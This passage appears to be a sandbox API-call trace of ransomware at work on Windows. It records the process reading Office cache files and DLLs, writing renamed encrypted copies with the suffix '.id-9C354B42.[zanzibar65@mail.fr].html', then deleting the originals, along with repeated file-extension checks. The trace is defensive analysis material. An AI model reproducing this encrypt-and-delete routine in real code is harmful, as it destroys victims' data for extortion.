Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.155] lstrlenW (lpString=".jpg") returned 4 [0050.155] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0050.156] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0050.156] lstrlenW (lpString="setup.exe") returned 9 [0050.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.156] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=1377656) returned 1 [0050.156] CloseHandle (hObject=0x218) returned 1 [0050.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0050.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.156] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.156] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.157] GetLastError () returned 0x0 [0050.157] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.454] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.473] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x50588, lpOverlapped=0x0) returned 1 [0050.640] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0050.649] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.649] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.649] SetEndOfFile (hFile=0x174) returned 1 [0050.650] CloseHandle (hObject=0x174) returned 1 [0050.650] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.650] SetEndOfFile (hFile=0x218) returned 1 [0050.653] CloseHandle (hObject=0x218) returned 1 [0050.653] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.653] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0050.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.653] lstrlenW (lpString=".doc") returned 4 [0050.653] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0050.654] lstrlenW (lpString=".docx") returned 5 [0050.654] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0050.654] lstrlenW (lpString=".pdf") returned 4 [0050.654] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0050.654] lstrlenW (lpString=".xls") returned 4 [0050.654] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0050.654] lstrlenW (lpString=".xlsx") returned 5 [0050.654] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0050.654] lstrlenW (lpString=".ppt") returned 4 [0050.654] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0050.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.654] lstrlenW (lpString=".zip") returned 4 [0050.654] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0050.654] lstrlenW (lpString=".rar") returned 4 [0050.654] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0050.654] lstrlenW (lpString=".bz2") returned 4 [0050.654] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0050.654] lstrlenW (lpString=".7z") returned 3 [0050.654] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0050.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.654] lstrlenW (lpString=".dbf") returned 4 [0050.654] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0050.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.654] lstrlenW (lpString=".1cd") returned 4 [0050.654] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0050.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.654] lstrlenW (lpString=".jpg") returned 4 [0050.654] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0050.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.654] lstrlenW (lpString=".doc") returned 4 [0050.654] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0050.654] lstrlenW (lpString=".docx") returned 5 [0050.655] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0050.655] lstrlenW (lpString=".pdf") returned 4 [0050.655] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0050.655] lstrlenW (lpString=".xls") returned 4 [0050.655] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0050.655] lstrlenW (lpString=".xlsx") returned 5 [0050.655] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0050.655] lstrlenW (lpString=".ppt") returned 4 [0050.655] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0050.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.655] lstrlenW (lpString=".zip") returned 4 [0050.655] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0050.655] lstrlenW (lpString=".rar") returned 4 [0050.655] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0050.655] lstrlenW (lpString=".bz2") returned 4 [0050.655] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0050.655] lstrlenW (lpString=".7z") returned 3 [0050.655] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0050.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.655] lstrlenW (lpString=".dbf") returned 4 [0050.655] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0050.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.655] lstrlenW (lpString=".1cd") returned 4 [0050.655] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0050.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0050.655] lstrlenW (lpString=".jpg") returned 4 [0050.655] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0050.655] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0050.656] lstrlenW (lpString="PidGenX.dll") returned 11 [0050.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.656] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=1463568) returned 1 [0050.656] CloseHandle (hObject=0x218) returned 1 [0050.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0050.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.656] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.656] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.657] GetLastError () returned 0x0 [0050.657] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.826] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.847] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x65520, lpOverlapped=0x0) returned 1 [0051.101] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0051.170] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.170] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.170] SetEndOfFile (hFile=0x174) returned 1 [0051.170] CloseHandle (hObject=0x174) returned 1 [0051.170] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.170] SetEndOfFile (hFile=0x218) returned 1 [0051.174] CloseHandle (hObject=0x218) returned 1 [0051.174] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0051.174] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0051.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.175] lstrlenW (lpString=".doc") returned 4 [0051.175] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.175] lstrlenW (lpString=".docx") returned 5 [0051.175] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0051.175] lstrlenW (lpString=".pdf") returned 4 [0051.175] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.175] lstrlenW (lpString=".xls") returned 4 [0051.175] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.175] lstrlenW (lpString=".xlsx") returned 5 [0051.175] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0051.175] lstrlenW (lpString=".ppt") returned 4 [0051.175] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.175] lstrlenW (lpString=".zip") returned 4 [0051.175] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.175] lstrlenW (lpString=".rar") returned 4 [0051.175] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.175] lstrlenW (lpString=".bz2") returned 4 [0051.175] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.175] lstrlenW (lpString=".7z") returned 3 [0051.175] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.175] lstrlenW (lpString=".dbf") returned 4 [0051.175] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.175] lstrlenW (lpString=".1cd") returned 4 [0051.175] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.175] lstrlenW (lpString=".jpg") returned 4 [0051.175] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.176] lstrlenW (lpString=".doc") returned 4 [0051.176] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString=".docx") returned 5 [0051.176] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0051.176] lstrlenW (lpString=".pdf") returned 4 [0051.176] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString=".xls") returned 4 [0051.176] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString=".xlsx") returned 5 [0051.176] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0051.176] lstrlenW (lpString=".ppt") returned 4 [0051.176] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.176] lstrlenW (lpString=".zip") returned 4 [0051.176] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString=".rar") returned 4 [0051.176] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.176] lstrlenW (lpString=".bz2") returned 4 [0051.176] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.176] lstrlenW (lpString=".7z") returned 3 [0051.176] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.176] lstrlenW (lpString=".dbf") returned 4 [0051.176] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.176] lstrlenW (lpString=".1cd") returned 4 [0051.176] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.176] lstrlenW (lpString=".jpg") returned 4 [0051.176] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.177] lstrcmpiW (lpString1=".sys", lpString2=".html") returned 1 [0051.177] lstrlenW (lpString="pagefile.sys") returned 12 [0051.177] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.177] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.177] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.177] lstrlenW (lpString=".doc") returned 4 [0051.177] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0051.177] lstrlenW (lpString=".docx") returned 5 [0051.177] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0051.177] lstrlenW (lpString=".pdf") returned 4 [0051.177] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0051.177] lstrlenW (lpString=".xls") returned 4 [0051.177] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0051.177] lstrlenW (lpString=".xlsx") returned 5 [0051.177] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0051.177] lstrlenW (lpString=".ppt") returned 4 [0051.177] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0051.177] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.177] lstrlenW (lpString=".zip") returned 4 [0051.177] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0051.177] lstrlenW (lpString=".rar") returned 4 [0051.177] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0051.177] lstrlenW (lpString=".bz2") returned 4 [0051.177] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString=".7z") returned 3 [0051.178] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0051.178] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.178] lstrlenW (lpString=".dbf") returned 4 [0051.178] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.178] lstrlenW (lpString=".1cd") returned 4 [0051.178] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.178] lstrlenW (lpString=".jpg") returned 4 [0051.178] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.178] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.178] lstrlenW (lpString=".doc") returned 4 [0051.178] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString=".docx") returned 5 [0051.178] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0051.178] lstrlenW (lpString=".pdf") returned 4 [0051.178] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString=".xls") returned 4 [0051.178] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0051.178] lstrlenW (lpString=".xlsx") returned 5 [0051.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0051.178] lstrlenW (lpString=".ppt") returned 4 [0051.178] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0051.178] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.178] lstrlenW (lpString=".zip") returned 4 [0051.178] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0051.178] lstrlenW (lpString=".rar") returned 4 [0051.179] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0051.179] lstrlenW (lpString=".bz2") returned 4 [0051.179] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0051.179] lstrlenW (lpString=".7z") returned 3 [0051.179] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0051.179] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.179] lstrlenW (lpString=".dbf") returned 4 [0051.179] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0051.179] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.179] lstrlenW (lpString=".1cd") returned 4 [0051.179] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0051.179] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0051.179] lstrlenW (lpString=".jpg") returned 4 [0051.179] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0051.179] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0051.179] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0051.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.209] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=99136) returned 1 [0052.209] CloseHandle (hObject=0x1ec) returned 1 [0052.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0052.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.209] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.209] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.210] GetLastError () returned 0x0 [0052.210] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x18340, lpOverlapped=0x0) returned 1 [0052.213] WriteFile (in: hFile=0x204, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0052.216] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.216] WriteFile (in: hFile=0x204, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.216] SetEndOfFile (hFile=0x204) returned 1 [0052.216] CloseHandle (hObject=0x204) returned 1 [0052.216] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.216] SetEndOfFile 